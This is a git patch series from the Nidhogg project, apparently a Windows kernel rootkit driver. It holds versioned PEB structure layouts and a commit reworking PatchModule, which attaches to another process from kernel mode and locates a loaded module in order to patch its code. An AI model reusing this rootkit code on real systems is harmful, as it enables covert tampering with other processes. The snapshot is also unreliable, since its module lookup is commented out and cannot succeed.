UCHAR InheritedAddressSpace; //0x0 + UCHAR ReadImageFileExecOptions; //0x1 + UCHAR BeingDebugged; //0x2 + union + { + UCHAR BitField; //0x3 + struct + { + UCHAR ImageUsesLargePages : 1; //0x3 + UCHAR IsProtectedProcess : 1; //0x3 + UCHAR IsImageDynamicallyRelocated : 1; //0x3 + UCHAR SkipPatchingUser32Forwarders : 1; //0x3 + UCHAR IsPackagedProcess : 1; //0x3 + UCHAR IsAppContainer : 1; //0x3 + UCHAR IsProtectedProcessLight : 1; //0x3 + UCHAR IsLongPathAwareProcess : 1; //0x3 + }; + }; + UCHAR Padding0[4]; //0x4 + VOID* Mutant; //0x8 + VOID* ImageBaseAddress; //0x10 + PEB_LDR_DATA* Ldr; //0x18 + RTL_USER_PROCESS_PARAMETERS_1809* ProcessParameters; //0x20 + VOID* SubSystemData; //0x28 + VOID* ProcessHeap; //0x30 + RTL_CRITICAL_SECTION* FastPebLock; //0x38 + SLIST_HEADER* volatile AtlThunkSListPtr; //0x40 + VOID* IFEOKey; //0x48 + union + { + ULONG CrossProcessFlags; //0x50 + struct + { + ULONG ProcessInJob : 1; //0x50 + ULONG ProcessInitializing : 1; //0x50 + ULONG ProcessUsingVEH : 1; //0x50 + ULONG ProcessUsingVCH : 1; //0x50 + ULONG ProcessUsingFTH : 1; //0x50 + ULONG ProcessPreviouslyThrottled : 1; //0x50 + ULONG ProcessCurrentlyThrottled : 1; //0x50 + ULONG ProcessImagesHotPatched : 1; //0x50 + ULONG ReservedBits0 : 24; //0x50 + }; + }; + UCHAR Padding1[4]; //0x54 + union + { + VOID* KernelCallbackTable; //0x58 + VOID* UserSharedInfoPtr; //0x58 + }; + ULONG SystemReserved; //0x60 + ULONG AtlThunkSListPtr32; //0x64 + VOID* ApiSetMap; //0x68 + ULONG TlsExpansionCounter; //0x70 + UCHAR Padding2[4]; //0x74 + VOID* TlsBitmap; //0x78 + ULONG TlsBitmapBits[2]; //0x80 + VOID* ReadOnlySharedMemoryBase; //0x88 + VOID* SharedData; //0x90 + VOID** ReadOnlyStaticServerData; //0x98 + VOID* AnsiCodePageData; //0xa0 + VOID* OemCodePageData; //0xa8 + VOID* UnicodeCaseTableData; //0xb0 + ULONG NumberOfProcessors; //0xb8 + ULONG NtGlobalFlag; //0xbc + LARGE_INTEGER CriticalSectionTimeout; //0xc0 + ULONGLONG HeapSegmentReserve; //0xc8 + ULONGLONG HeapSegmentCommit; //0xd0 + ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 + ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 + ULONG NumberOfHeaps; //0xe8 + ULONG MaximumNumberOfHeaps; //0xec + VOID** ProcessHeaps; //0xf0 + VOID* GdiSharedHandleTable; //0xf8 + VOID* ProcessStarterHelper; //0x100 + ULONG GdiDCAttributeList; //0x108 + UCHAR Padding3[4]; //0x10c + RTL_CRITICAL_SECTION* LoaderLock; //0x110 + ULONG OSMajorVersion; //0x118 + ULONG OSMinorVersion; //0x11c + USHORT OSBuildNumber; //0x120 + USHORT OSCSDVersion; //0x122 + ULONG OSPlatformId; //0x124 + ULONG ImageSubsystem; //0x128 + ULONG ImageSubsystemMajorVersion; //0x12c + ULONG ImageSubsystemMinorVersion; //0x130 + UCHAR Padding4[4]; //0x134 + ULONGLONG ActiveProcessAffinityMask; //0x138 + ULONG GdiHandleBuffer[60]; //0x140 + VOID(*PostProcessInitRoutine)(); //0x230 + VOID* TlsExpansionBitmap; //0x238 + ULONG TlsExpansionBitmapBits[32]; //0x240 + ULONG SessionId; //0x2c0 + UCHAR Padding5[4]; //0x2c4 + ULARGE_INTEGER AppCompatFlags; //0x2c8 + ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 + VOID* pShimData; //0x2d8 + VOID* AppCompatInfo; //0x2e0 + UNICODE_STRING CSDVersion; //0x2e8 + struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 + struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 + struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 + struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 + ULONGLONG MinimumStackCommit; //0x318 + struct _FLS_CALLBACK_INFO* FlsCallback; //0x320 + LIST_ENTRY FlsListHead; //0x328 + VOID* FlsBitmap; //0x338 + ULONG FlsBitmapBits[4]; //0x340 + ULONG FlsHighIndex; //0x350 + VOID* WerRegistrationData; //0x358 + VOID* WerShipAssertPtr; //0x360 + VOID* pUnused; //0x368 + VOID* pImageHeaderHash; //0x370 + union + { + ULONG TracingFlags; //0x378 + struct + { + ULONG HeapTracingEnabled : 1; //0x378 + ULONG CritSecTracingEnabled : 1; //0x378 + ULONG LibLoaderTracingEnabled : 1; //0x378 + ULONG SpareTracingBits : 29; //0x378 + }; + }; + UCHAR Padding6[4]; //0x37c + ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 + ULONGLONG TppWorkerpListLock; //0x388 + LIST_ENTRY TppWorkerpList; //0x390 + VOID* WaitOnAddressHashTable[128]; //0x3a0 + VOID* TelemetryCoverageHeader; //0x7a0 + ULONG CloudFileFlags; //0x7a8 + ULONG CloudFileDiagFlags; //0x7ac + CHAR PlaceholderCompatibilityMode; //0x7b0 + CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1 + LEAP_SECOND_DATA* LeapSecondData; //0x7b8 + union + { + ULONG LeapSecondFlags; //0x7c0 + struct + { + ULONG SixtySecondEnabled : 1; //0x7c0 + ULONG Reserved : 31; //0x7c0 + }; + }; + ULONG NtGlobalFlag2; //0x7c4 +} PEB_1809, * PPEB_1809; + +//0x7c8 bytes (sizeof) +typedef struct _PEB_1903 +{ + UCHAR InheritedAddressSpace; //0x0 + UCHAR ReadImageFileExecOptions; //0x1 + UCHAR BeingDebugged; //0x2 + union + { + UCHAR BitField; //0x3 + struct + { + UCHAR ImageUsesLargePages : 1; //0x3 + UCHAR IsProtectedProcess : 1; //0x3 + UCHAR IsImageDynamicallyRelocated : 1; //0x3 + UCHAR SkipPatchingUser32Forwarders : 1; //0x3 + UCHAR IsPackagedProcess : 1; //0x3 + UCHAR IsAppContainer : 1; //0x3 + UCHAR IsProtectedProcessLight : 1; //0x3 + UCHAR IsLongPathAwareProcess : 1; //0x3 + }; + }; + UCHAR Padding0[4]; //0x4 + VOID* Mutant; //0x8 + VOID* ImageBaseAddress; //0x10 + PEB_LDR_DATA* Ldr; //0x18 + RTL_USER_PROCESS_PARAMETERS_1903* ProcessParameters; //0x20 + VOID* SubSystemData; //0x28 + VOID* ProcessHeap; //0x30 + RTL_CRITICAL_SECTION* FastPebLock; //0x38 + SLIST_HEADER* volatile AtlThunkSListPtr; //0x40 + VOID* IFEOKey; //0x48 + union + { + ULONG CrossProcessFlags; //0x50 + struct + { + ULONG ProcessInJob : 1; //0x50 + ULONG ProcessInitializing : 1; //0x50 + ULONG ProcessUsingVEH : 1; //0x50 + ULONG ProcessUsingVCH : 1; //0x50 + ULONG ProcessUsingFTH : 1; //0x50 + ULONG ProcessPreviouslyThrottled : 1; //0x50 + ULONG ProcessCurrentlyThrottled : 1; //0x50 + ULONG ProcessImagesHotPatched : 1; //0x50 + ULONG ReservedBits0 : 24; //0x50 + }; + }; + UCHAR Padding1[4]; //0x54 + union + { + VOID* KernelCallbackTable; //0x58 + VOID* UserSharedInfoPtr; //0x58 + }; + ULONG SystemReserved; //0x60 + ULONG AtlThunkSListPtr32; //0x64 + VOID* ApiSetMap; //0x68 + ULONG TlsExpansionCounter; //0x70 + UCHAR Padding2[4]; //0x74 + VOID* TlsBitmap; //0x78 + ULONG TlsBitmapBits[2]; //0x80 + VOID* ReadOnlySharedMemoryBase; //0x88 + VOID* SharedData; //0x90 + VOID** ReadOnlyStaticServerData; //0x98 + VOID* AnsiCodePageData; //0xa0 + VOID* OemCodePageData; //0xa8 + VOID* UnicodeCaseTableData; //0xb0 + ULONG NumberOfProcessors; //0xb8 + ULONG NtGlobalFlag; //0xbc + LARGE_INTEGER CriticalSectionTimeout; //0xc0 + ULONGLONG HeapSegmentReserve; //0xc8 + ULONGLONG HeapSegmentCommit; //0xd0 + ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 + ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 + ULONG NumberOfHeaps; //0xe8 + ULONG MaximumNumberOfHeaps; //0xec + VOID** ProcessHeaps; //0xf0 + VOID* GdiSharedHandleTable; //0xf8 + VOID* ProcessStarterHelper; //0x100 + ULONG GdiDCAttributeList; //0x108 + UCHAR Padding3[4]; //0x10c + RTL_CRITICAL_SECTION* LoaderLock; //0x110 + ULONG OSMajorVersion; //0x118 + ULONG OSMinorVersion; //0x11c + USHORT OSBuildNumber; //0x120 + USHORT OSCSDVersion; //0x122 + ULONG OSPlatformId; //0x124 + ULONG ImageSubsystem; //0x128 + ULONG ImageSubsystemMajorVersion; //0x12c + ULONG ImageSubsystemMinorVersion; //0x130 + UCHAR Padding4[4]; //0x134 + ULONGLONG ActiveProcessAffinityMask; //0x138 + ULONG GdiHandleBuffer[60]; //0x140 + VOID(*PostProcessInitRoutine)(); //0x230 + VOID* TlsExpansionBitmap; //0x238 + ULONG TlsExpansionBitmapBits[32]; //0x240 + ULONG SessionId; //0x2c0 + UCHAR Padding5[4]; //0x2c4 + ULARGE_INTEGER AppCompatFlags; //0x2c8 + ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 + VOID* pShimData; //0x2d8 + VOID* AppCompatInfo; //0x2e0 + UNICODE_STRING CSDVersion; //0x2e8 + struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 + struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 + struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 + struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 + ULONGLONG MinimumStackCommit; //0x318 + struct _FLS_CALLBACK_INFO* FlsCallback; //0x320 + LIST_ENTRY FlsListHead; //0x328 + VOID* FlsBitmap; //0x338 + ULONG FlsBitmapBits[4]; //0x340 + ULONG FlsHighIndex; //0x350 + VOID* WerRegistrationData; //0x358 + VOID* WerShipAssertPtr; //0x360 + VOID* pUnused; //0x368 + VOID* pImageHeaderHash; //0x370 + union + { + ULONG TracingFlags; //0x378 + struct + { + ULONG HeapTracingEnabled : 1; //0x378 + ULONG CritSecTracingEnabled : 1; //0x378 + ULONG LibLoaderTracingEnabled : 1; //0x378 + ULONG SpareTracingBits : 29; //0x378 + }; + }; + UCHAR Padding6[4]; //0x37c + ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 + ULONGLONG TppWorkerpListLock; //0x388 + LIST_ENTRY TppWorkerpList; //0x390 + VOID* WaitOnAddressHashTable[128]; //0x3a0 + VOID* TelemetryCoverageHeader; //0x7a0 + ULONG CloudFileFlags; //0x7a8 + ULONG CloudFileDiagFlags; //0x7ac + CHAR PlaceholderCompatibilityMode; //0x7b0 + CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1 + LEAP_SECOND_DATA* LeapSecondData; //0x7b8 + union + { + ULONG LeapSecondFlags; //0x7c0 + struct + { + ULONG SixtySecondEnabled : 1; //0x7c0 + ULONG Reserved : 31; //0x7c0 + }; + }; + ULONG NtGlobalFlag2; //0x7c4 +} PEB_1903, * PPEB_1903; + +//0x7d0 bytes (sizeof) +typedef struct _PEB_WIN11 +{ + UCHAR InheritedAddressSpace; //0x0 + UCHAR ReadImageFileExecOptions; //0x1 + UCHAR BeingDebugged; //0x2 + union + { + UCHAR BitField; //0x3 + struct + { + UCHAR ImageUsesLargePages : 1; //0x3 + UCHAR IsProtectedProcess : 1; //0x3 + UCHAR IsImageDynamicallyRelocated : 1; //0x3 + UCHAR SkipPatchingUser32Forwarders : 1; //0x3 + UCHAR IsPackagedProcess : 1; //0x3 + UCHAR IsAppContainer : 1; //0x3 + UCHAR IsProtectedProcessLight : 1; //0x3 + UCHAR IsLongPathAwareProcess : 1; //0x3 + }; + }; + UCHAR Padding0[4]; //0x4 + VOID* Mutant; //0x8 + VOID* ImageBaseAddress; //0x10 + PEB_LDR_DATA* Ldr; //0x18 + RTL_USER_PROCESS_PARAMETERS_1903* ProcessParameters; //0x20 + VOID* SubSystemData; //0x28 + VOID* ProcessHeap; //0x30 + RTL_CRITICAL_SECTION* FastPebLock; //0x38 + SLIST_HEADER* volatile AtlThunkSListPtr; //0x40 + VOID* IFEOKey; //0x48 + union + { + ULONG CrossProcessFlags; //0x50 + struct + { + ULONG ProcessInJob : 1; //0x50 + ULONG ProcessInitializing : 1; //0x50 + ULONG ProcessUsingVEH : 1; //0x50 + ULONG ProcessUsingVCH : 1; //0x50 + ULONG ProcessUsingFTH : 1; //0x50 + ULONG ProcessPreviouslyThrottled : 1; //0x50 + ULONG ProcessCurrentlyThrottled : 1; //0x50 + ULONG ProcessImagesHotPatched : 1; //0x50 + ULONG ReservedBits0 : 24; //0x50 + }; + }; + UCHAR Padding1[4]; //0x54 + union + { + VOID* KernelCallbackTable; //0x58 + VOID* UserSharedInfoPtr; //0x58 + }; + ULONG SystemReserved; //0x60 + ULONG AtlThunkSListPtr32; //0x64 + VOID* ApiSetMap; //0x68 + ULONG TlsExpansionCounter; //0x70 + UCHAR Padding2[4]; //0x74 + RTL_BITMAP* TlsBitmap; //0x78 + ULONG TlsBitmapBits[2]; //0x80 + VOID* ReadOnlySharedMemoryBase; //0x88 + VOID* SharedData; //0x90 + VOID** ReadOnlyStaticServerData; //0x98 + VOID* AnsiCodePageData; //0xa0 + VOID* OemCodePageData; //0xa8 + VOID* UnicodeCaseTableData; //0xb0 + ULONG NumberOfProcessors; //0xb8 + ULONG NtGlobalFlag; //0xbc + LARGE_INTEGER CriticalSectionTimeout; //0xc0 + ULONGLONG HeapSegmentReserve; //0xc8 + ULONGLONG HeapSegmentCommit; //0xd0 + ULONGLONG HeapDeCommitTotalFreeThreshold; //0xd8 + ULONGLONG HeapDeCommitFreeBlockThreshold; //0xe0 + ULONG NumberOfHeaps; //0xe8 + ULONG MaximumNumberOfHeaps; //0xec + VOID** ProcessHeaps; //0xf0 + VOID* GdiSharedHandleTable; //0xf8 + VOID* ProcessStarterHelper; //0x100 + ULONG GdiDCAttributeList; //0x108 + UCHAR Padding3[4]; //0x10c + RTL_CRITICAL_SECTION* LoaderLock; //0x110 + ULONG OSMajorVersion; //0x118 + ULONG OSMinorVersion; //0x11c + USHORT OSBuildNumber; //0x120 + USHORT OSCSDVersion; //0x122 + ULONG OSPlatformId; //0x124 + ULONG ImageSubsystem; //0x128 + ULONG ImageSubsystemMajorVersion; //0x12c + ULONG ImageSubsystemMinorVersion; //0x130 + UCHAR Padding4[4]; //0x134 + ULONGLONG ActiveProcessAffinityMask; //0x138 + ULONG GdiHandleBuffer[60]; //0x140 + VOID(*PostProcessInitRoutine)(); //0x230 + RTL_BITMAP* TlsExpansionBitmap; //0x238 + ULONG TlsExpansionBitmapBits[32]; //0x240 + ULONG SessionId; //0x2c0 + UCHAR Padding5[4]; //0x2c4 + ULARGE_INTEGER AppCompatFlags; //0x2c8 + ULARGE_INTEGER AppCompatFlagsUser; //0x2d0 + VOID* pShimData; //0x2d8 + VOID* AppCompatInfo; //0x2e0 + UNICODE_STRING CSDVersion; //0x2e8 + struct _ACTIVATION_CONTEXT_DATA* ActivationContextData; //0x2f8 + struct _ASSEMBLY_STORAGE_MAP* ProcessAssemblyStorageMap; //0x300 + struct _ACTIVATION_CONTEXT_DATA* SystemDefaultActivationContextData; //0x308 + struct _ASSEMBLY_STORAGE_MAP* SystemAssemblyStorageMap; //0x310 + ULONGLONG MinimumStackCommit; //0x318 + VOID* SparePointers[2]; //0x320 + VOID* PatchLoaderData; //0x330 + struct _CHPEV2_PROCESS_INFO* ChpeV2ProcessInfo; //0x338 + ULONG SpareUlongs[3]; //0x340 + USHORT ActiveCodePage; //0x34c + USHORT OemCodePage; //0x34e + USHORT UseCaseMapping; //0x350 + USHORT UnusedNlsField; //0x352 + VOID* WerRegistrationData; //0x358 + VOID* WerShipAssertPtr; //0x360 + VOID* EcCodeBitMap; //0x368 + VOID* pImageHeaderHash; //0x370 + union + { + ULONG TracingFlags; //0x378 + struct + { + ULONG HeapTracingEnabled : 1; //0x378 + ULONG CritSecTracingEnabled : 1; //0x378 + ULONG LibLoaderTracingEnabled : 1; //0x378 + ULONG SpareTracingBits : 29; //0x378 + }; + }; + UCHAR Padding6[4]; //0x37c + ULONGLONG CsrServerReadOnlySharedMemoryBase; //0x380 + ULONGLONG TppWorkerpListLock; //0x388 + LIST_ENTRY TppWorkerpList; //0x390 + VOID* WaitOnAddressHashTable[128]; //0x3a0 + VOID* TelemetryCoverageHeader; //0x7a0 + ULONG CloudFileFlags; //0x7a8 + ULONG CloudFileDiagFlags; //0x7ac + CHAR PlaceholderCompatibilityMode; //0x7b0 + CHAR PlaceholderCompatibilityModeReserved[7]; //0x7b1 + LEAP_SECOND_DATA* LeapSecondData; //0x7b8 + union + { + ULONG LeapSecondFlags; //0x7c0 + struct + { + ULONG SixtySecondEnabled : 1; //0x7c0 + ULONG Reserved : 31; //0x7c0 + }; + }; + ULONG NtGlobalFlag2; //0x7c4 + ULONGLONG ExtendedFeatureDisableMask; //0x7c8 +} PEB_WIN11, * PPEB_WIN11; + // Undocumented. struct _OBJECT_TYPE_INITIALIZER_TEMP { From 8500717fa2fc0fb94a40b52ac4407c8a52391414 Mon Sep 17 00:00:00 2001 From: Ido Veltzman <62358580+Idov31@users.noreply.github.com> Date: Wed, 12 Oct 2022 21:10:33 +0300 Subject: [PATCH 04/10] Attempt to fix round 2 --- Nidhogg/ModuleUtils.hpp | 169 +---- Nidhogg/Nidhogg.cpp | 3 +- Nidhogg/WindowsTypes.h | 1450 +-------------------------------------- 3 files changed, 61 insertions(+), 1561 deletions(-) diff --git a/Nidhogg/ModuleUtils.hpp b/Nidhogg/ModuleUtils.hpp index 2a23328..7c59f50 100644 --- a/Nidhogg/ModuleUtils.hpp +++ b/Nidhogg/ModuleUtils.hpp @@ -1,10 +1,6 @@ #pragma once #include "pch.h" -// Function declaration. -PPEB_LDR_DATA GetLDRFromPEB(PPEB peb); -PVOID GetModuleImageBase(PPEB_LDR_DATA ldr, WCHAR* moduleName); - /* * Description: * PatchModule is responsible for patching a certain moudle in a certain process. @@ -20,6 +16,8 @@ NTSTATUS PatchModule(PatchedModule& ModuleToPatch) { PEPROCESS TargetProcess; ULONG oldProtection; SIZE_T outBytes; + KAPC_STATE state; + UNICODE_STRING moduleName = { 0 }; PVOID moduleImageBase = NULL; NTSTATUS status = STATUS_UNSUCCESSFUL; MEMORY_BASIC_INFORMATION memInfo = { 0 }; @@ -36,25 +34,39 @@ NTSTATUS PatchModule(PatchedModule& ModuleToPatch) { if (PsLookupProcessByProcessId((HANDLE)ModuleToPatch.Pid, &TargetProcess) != STATUS_SUCCESS) return status; - KeAttachProcess(TargetProcess); - - PPEB targetPeb = dimGlobals.PsGetProcessPeb(TargetProcess); + KeStackAttachProcess(TargetProcess, &state); + PREALPEB targetPeb = (PREALPEB)dimGlobals.PsGetProcessPeb(TargetProcess); if (!targetPeb) goto CleanUp; - PPEB_LDR_DATA ldr = GetLDRFromPEB(targetPeb); - - for (int i = 0; !ldr && i < 10; i++) + for (int i = 0; !targetPeb->LoaderData && i < 10; i++) { KeDelayExecutionThread(KernelMode, TRUE, &time); } - if (!ldr) + if (!targetPeb->LoaderData) goto CleanUp; // Getting the module's image base. - moduleImageBase = GetModuleImageBase(ldr, ModuleToPatch.ModuleName); + for (PLIST_ENTRY pListEntry = targetPeb->LoaderData->InLoadOrderModuleList.Flink; + pListEntry != &targetPeb->LoaderData->InLoadOrderModuleList; + pListEntry = pListEntry->Flink) { + PLDR_DATA_TABLE_ENTRY pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY, InLoadOrderLinks); + + if (pEntry->FullDllName.Length == 0) + continue; + + /*if (wcisstr(pEntry->FullDllName.Buffer, ModuleToPatch.ModuleName)) { + moduleImageBase = pEntry->DllBase; + break; + }*/ + + /*if (_wcsnicmp(pEntry->FullDllName.Buffer, ModuleToPatch.ModuleName, pEntry->FullDllName.Length / sizeof(WCHAR) - 4) == 0) { + moduleImageBase = pEntry->DllBase; + break; + }*/ + } if (!moduleImageBase) goto CleanUp; @@ -149,138 +161,7 @@ NTSTATUS PatchModule(PatchedModule& ModuleToPatch) { if (success) status = STATUS_SUCCESS; CleanUp: - KeAttachProcess(TargetProcess); + KeUnstackDetachProcess(&state); ObDereferenceObject(TargetProcess); return status; } - -PPEB_LDR_DATA GetLDRFromPEB(PPEB peb) { - PPEB_LDR_DATA ldr = NULL; - RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) }; - NTSTATUS result = RtlGetVersion(&osVersion); - - if (NT_SUCCESS(result)) { - switch (osVersion.dwBuildNumber) { - case WIN_1507: - { - PPEB_1507 peb1507 = (PPEB_1507)peb; - ldr = peb1507->Ldr; - break; - } - case WIN_1511: - case WIN_1607: - case WIN_1703: - { - PPEB_1511 peb1511 = (PPEB_1511)peb; - ldr = peb1511->Ldr; - break; - } - case WIN_1709: - { - PPEB_1709 peb1709 = (PPEB_1709)peb; - ldr = peb1709->Ldr; - break; - } - case WIN_1803: - { - PPEB_1803 peb1803 = (PPEB_1803)peb; - ldr = peb1803->Ldr; - break; - } - case WIN_1809: - { - PPEB_1809 peb1809 = (PPEB_1809)peb; - ldr = peb1809->Ldr; - break; - } - case WIN_1903: - case WIN_1909: - case WIN_2004: - case WIN_20H2: - case WIN_21H1: - case WIN_21H2: - case WIN_22H2: - { - PPEB_1903 peb1903 = (PPEB_1903)peb; - ldr = peb1903->Ldr; - break; - } - default: - { - PPEB_WIN11 peb11 = (PPEB_WIN11)peb; - ldr = peb11->Ldr; - break; - } - } - } - - return ldr; -} - - -PVOID GetModuleImageBase(PPEB_LDR_DATA ldr, WCHAR* moduleName) { - PVOID imageBase = NULL; - RTL_OSVERSIONINFOW osVersion = { sizeof(osVersion) }; - NTSTATUS result = RtlGetVersion(&osVersion); - - if (NT_SUCCESS(result)) { - switch (osVersion.dwBuildNumber) { - case WIN_1507: - case WIN_1511: - { - for (PLIST_ENTRY pListEntry = ldr->InLoadOrderModuleList.Flink; - pListEntry != &ldr->InLoadOrderModuleList; - pListEntry = pListEntry->Flink) { - PLDR_DATA_TABLE_ENTRY_1507 pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY_1507, InLoadOrderLinks); - - if (wcisstr(pEntry->BaseDllName.Buffer, moduleName)) { - imageBase = pEntry->DllBase; - break; - } - } - break; - } - case WIN_1607: - case WIN_1703: - case WIN_1709: - case WIN_1803: - case WIN_1809: - case WIN_1903: - case WIN_1909: - case WIN_2004: - case WIN_20H2: - case WIN_21H1: - case WIN_21H2: - case WIN_22H2: - { - for (PLIST_ENTRY pListEntry = ldr->InLoadOrderModuleList.Flink; - pListEntry != &ldr->InLoadOrderModuleList; - pListEntry = pListEntry->Flink) { - PLDR_DATA_TABLE_ENTRY_1607 pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY_1607, InLoadOrderLinks); - - if (wcisstr(pEntry->BaseDllName.Buffer, moduleName)) { - imageBase = pEntry->DllBase; - break; - } - } - break; - } - default: - { - for (PLIST_ENTRY pListEntry = ldr->InLoadOrderModuleList.Flink; - pListEntry != &ldr->InLoadOrderModuleList; - pListEntry = pListEntry->Flink) { - PLDR_DATA_TABLE_ENTRY_WIN11 pEntry = CONTAINING_RECORD(pListEntry, LDR_DATA_TABLE_ENTRY_WIN11, InLoadOrderLinks); - - if (wcisstr(pEntry->BaseDllName.Buffer, moduleName)) { - imageBase = pEntry->DllBase; - break; - } - } - break; - } - } - } - - return imageBase; -} diff --git a/Nidhogg/Nidhogg.cpp b/Nidhogg/Nidhogg.cpp index 5b99353..b0f11fc 100644 --- a/Nidhogg/Nidhogg.cpp +++ b/Nidhogg/Nidhogg.cpp @@ -771,13 +771,12 @@ NTSTATUS NidhoggDeviceControl(PDEVICE_OBJECT, PIRP Irp) { status = STATUS_INVALID_PARAMETER; break; } - status = PatchModule(*data); if (status == STATUS_SUCCESS) { auto prevIrql = KeGetCurrentIrql(); KeLowerIrql(PASSIVE_LEVEL); - KdPrint((DRIVER_PREFIX "Patched %s for process %d.\n", (*data).FunctionName, data->Pid)); + KdPrint((DRIVER_PREFIX "Patched module %ws and function %s for process %d.\n", (*data).ModuleName, (*data).FunctionName, data->Pid)); KeRaiseIrql(prevIrql, &prevIrql); } diff --git a/Nidhogg/WindowsTypes.h b/Nidhogg/WindowsTypes.h index 0d23ed7..b5bfefd 100644 --- a/Nidhogg/WindowsTypes.h +++ b/Nidhogg/WindowsTypes.h @@ -136,51 +136,6 @@ typedef struct _FULL_IMAGE_NT_HEADERS { #pragma warning(default : 4214) -enum LDR_DDAG_STATE -{ - LdrModulesMerged = -5, - LdrModulesInitError = -4, - LdrModulesSnapError = -3, - LdrModulesUnloaded = -2, - LdrModulesUnloading = -1, - LdrModulesPlaceHolder = 0, - LdrModulesMapping = 1, - LdrModulesMapped = 2, - LdrModulesWaitingForDependencies = 3, - LdrModulesSnapping = 4, - LdrModulesSnapped = 5, - LdrModulesCondensed = 6, - LdrModulesReadyToInit = 7, - LdrModulesInitializing = 8, - LdrModulesReadyToRun = 9 -}; - -enum LDR_DLL_LOAD_REASON -{ - LoadReasonStaticDependency = 0, - LoadReasonStaticForwarderDependency = 1, - LoadReasonDynamicForwarderDependency = 2, - LoadReasonDelayloadDependency = 3, - LoadReasonDynamicLoad = 4, - LoadReasonAsImageLoad = 5, - LoadReasonAsDataLoad = 6, - LoadReasonEnclavePrimary = 7, - LoadReasonEnclaveDependency = 8, - LoadReasonPatchImage = 9, - LoadReasonUnknown = -1 -}; - -//0x4 bytes (sizeof) -enum LDR_HOT_PATCH_STATE -{ - LdrHotPatchBaseImage = 0, - LdrHotPatchNotApplied = 1, - LdrHotPatchAppliedReverse = 2, - LdrHotPatchAppliedForward = 3, - LdrHotPatchFailedToPatch = 4, - LdrHotPatchStateMax = 5 -}; - typedef struct _PEB_LDR_DATA { ULONG Length; //0x0 @@ -194,1376 +149,41 @@ typedef struct _PEB_LDR_DATA PVOID ShutdownThreadId; //0x50 } PEB_LDR_DATA, * PPEB_LDR_DATA; -//0x8 bytes (sizeof) -typedef struct _LDRP_CSLIST -{ - SINGLE_LIST_ENTRY* Tail; //0x0 -} LDRP_CSLIST, * PLDRP_CSLIST; - -//0x50 bytes (sizeof) -typedef struct _LDR_DDAG_NODE -{ - LIST_ENTRY Modules; //0x0 - struct _LDR_SERVICE_TAG_RECORD* ServiceTagList; //0x10 - ULONG LoadCount; //0x18 - ULONG LoadWhileUnloadingCount; //0x1c - ULONG LowestLink; //0x20 - LDRP_CSLIST Dependencies; //0x28 - LDRP_CSLIST IncomingDependencies; //0x30 - LDR_DDAG_STATE State; //0x38 - SINGLE_LIST_ENTRY CondenseLink; //0x40 - ULONG PreorderNumber; //0x48 -} LDR_DDAG_NODE, * PLDR_DDAG_NODE; - -//0x28 bytes (sizeof) -typedef struct _RTL_CRITICAL_SECTION -{ - struct _RTL_CRITICAL_SECTION_DEBUG* DebugInfo; //0x0 - LONG LockCount; //0x8 - LONG RecursionCount; //0xc - VOID* OwningThread; //0x10 - VOID* LockSemaphore; //0x18 - ULONGLONG SpinCount; //0x20 -} RTL_CRITICAL_SECTION, *PRTL_CRITICAL_SECTION; - -//0x10 bytes (sizeof) -typedef struct _LEAP_SECOND_DATA -{ - UCHAR Enabled; //0x0 - ULONG Count; //0x4 - LARGE_INTEGER Data[1]; //0x8 -} LEAP_SECOND_DATA, * PLEAP_SECOND_DATA; - -//0x118 bytes (sizeof) -typedef struct _LDR_DATA_TABLE_ENTRY_1507 -{ - LIST_ENTRY InLoadOrderLinks; //0x0 - LIST_ENTRY InMemoryOrderLinks; //0x10 - LIST_ENTRY InInitializationOrderLinks; //0x20 - PVOID DllBase; //0x30 - PVOID EntryPoint; //0x38 - ULONG SizeOfImage; //0x40 - UNICODE_STRING FullDllName; //0x48 - UNICODE_STRING BaseDllName; //0x58 - union - { - UCHAR FlagGroup[4]; //0x68 - ULONG Flags; //0x68 - struct - { - ULONG PackagedBinary : 1; //0x68 - ULONG MarkedForRemoval : 1; //0x68 - ULONG ImageDll : 1; //0x68 - ULONG LoadNotificationsSent : 1; //0x68 - ULONG TelemetryEntryProcessed : 1; //0x68 - ULONG ProcessStaticImport : 1; //0x68 - ULONG InLegacyLists : 1; //0x68 - ULONG InIndexes : 1; //0x68 - ULONG ShimDll : 1; //0x68 - ULONG InExceptionTable : 1; //0x68 - ULONG ReservedFlags1 : 2; //0x68 - ULONG LoadInProgress : 1; //0x68 - ULONG LoadConfigProcessed : 1; //0x68 - ULONG EntryProcessed : 1; //0x68 - ULONG ProtectDelayLoad : 1; //0x68 - ULONG ReservedFlags3 : 2; //0x68 - ULONG DontCallForThreads : 1; //0x68 - ULONG ProcessAttachCalled : 1; //0x68 - ULONG ProcessAttachFailed : 1; //0x68 - ULONG CorDeferredValidate : 1; //0x68 - ULONG CorImage : 1; //0x68 - ULONG DontRelocate : 1; //0x68 - ULONG CorILOnly : 1; //0x68 - ULONG ReservedFlags5 : 3; //0x68 - ULONG Redirected : 1; //0x68 - ULONG ReservedFlags6 : 2; //0x68 - ULONG CompatDatabaseProcessed : 1; //0x68 - }; - }; - USHORT ObsoleteLoadCount; //0x6c - USHORT TlsIndex; //0x6e - LIST_ENTRY HashLinks; //0x70 - ULONG TimeDateStamp; //0x80 - struct 